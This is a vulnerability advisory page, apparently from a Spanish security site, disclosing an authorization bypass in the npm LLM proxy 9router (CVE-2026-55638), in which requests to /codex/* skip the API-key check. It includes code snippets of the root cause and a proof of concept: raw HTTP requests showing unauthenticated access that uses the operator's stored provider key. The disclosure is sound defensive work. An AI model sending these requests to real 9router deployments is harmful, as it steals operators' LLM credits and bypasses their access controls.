Alta

9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass

  • Publicada: 28.08.2026
  • Actualizado: 11.10.2026 10:22

Summary

9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.

However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.

As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.

Details

Component File Note
Middleware authorization gate src/dashboardGuard.js Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex
Rewrite configuration next.config.mjs Rewrites /codex/:path* to /api/v1/responses
LLM backend route src/app/api/v1/responses/route.js Dispatches rewritten requests to the LLM handler
Chat handler src/sse/handlers/chat.js Uses operator-stored provider credentials for upstream calls

Tested version:

Version / Commit Runtime Status
v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 Next.js 16.2.9 Affected

Root Cause

The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:

js
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];

Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:

js
return NextResponse.next();

The rewrite configuration then maps the allowed request to the protected backend route:

js
{
  source: "/codex/:path*",
  destination: "/api/v1/responses"
}

The backend route reaches the same handler used by the canonical LLM endpoint:

js
return await handleChat(request);

The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.

PoC

The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.

Case 01 — Protected canonical endpoint rejects unauthenticated access

http
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

http
HTTP/1.1 401 Unauthorized

This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.

Case 02 — Rewritten /codex/* path bypasses the API-key gate

http
POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

http
HTTP/1.1 200 OK

The request reaches the LLM backend without an API key.

A controlled upstream provider endpoint recorded the outbound request from 9router:

POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true

This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.

Case 03 — Unrelated unknown path does not reach the backend

http
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

http
HTTP/1.1 404 Not Found

No upstream provider call is made. This isolates the issue to the /codex/* rewrite.

Case 04 — Canonical endpoint succeeds only with a valid API key

http
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

http
HTTP/1.1 200 OK

This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router instance.
  2. The attacker sends LLM proxy requests to /codex/* instead of /api/v1/responses.
  3. The middleware evaluates the original /codex/* path and does not apply the LLM API-key gate.
  4. The rewrite maps the request to /api/v1/responses.
  5. The backend processes the request and performs an upstream provider call.
  6. The upstream call uses the operator-stored provider credentials.

Impact

A successful attacker can use the operator's configured LLM provider account without authentication.

Likely consequences include:

  • Unauthorized use of the 9router LLM proxy.
  • Consumption of the operator's provider credits or quota.
  • Unexpected billing impact.
  • Abuse of configured OpenAI/Anthropic-compatible providers.
  • Exposure of model/provider behavior through proxy responses.
  • Bypass of the intended API-key access control for remote LLM proxy access.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm 9router < 0.5.2 0.5.2

Referencias

Puntuación CVSS 8.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Debilidad (CWE)
CWE-862, CWE-863
Plataforma
npm
Paquete
9router
Publicada
28.08.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-8gmq-j984-vp4r - CC BY 4.0

Historial de vulnerabilidades: 9router

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (17) en el archivo
Entradas en total
17
Primera → última
04.2026 09.2026
Sin corrección
4
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 9
  • Media 3

Divulgaciones por año

  1. 2026: 17
Gravedad:
  1. 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass esta entrada
    Alta · 8.6 CVE-2026-55638 < 0.5.2 0.5.2
  2. Crítica · 9.8 CVE-2026-49352 >= 0.2.21, < 0.4.45 0.4.45
  3. Crítica CVE-2026-59800 < 0.4.44 0.4.44
  4. Crítica · 10.0 CVE-2026-46339 >= 0.4.30, < 0.4.37 0.4.37

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.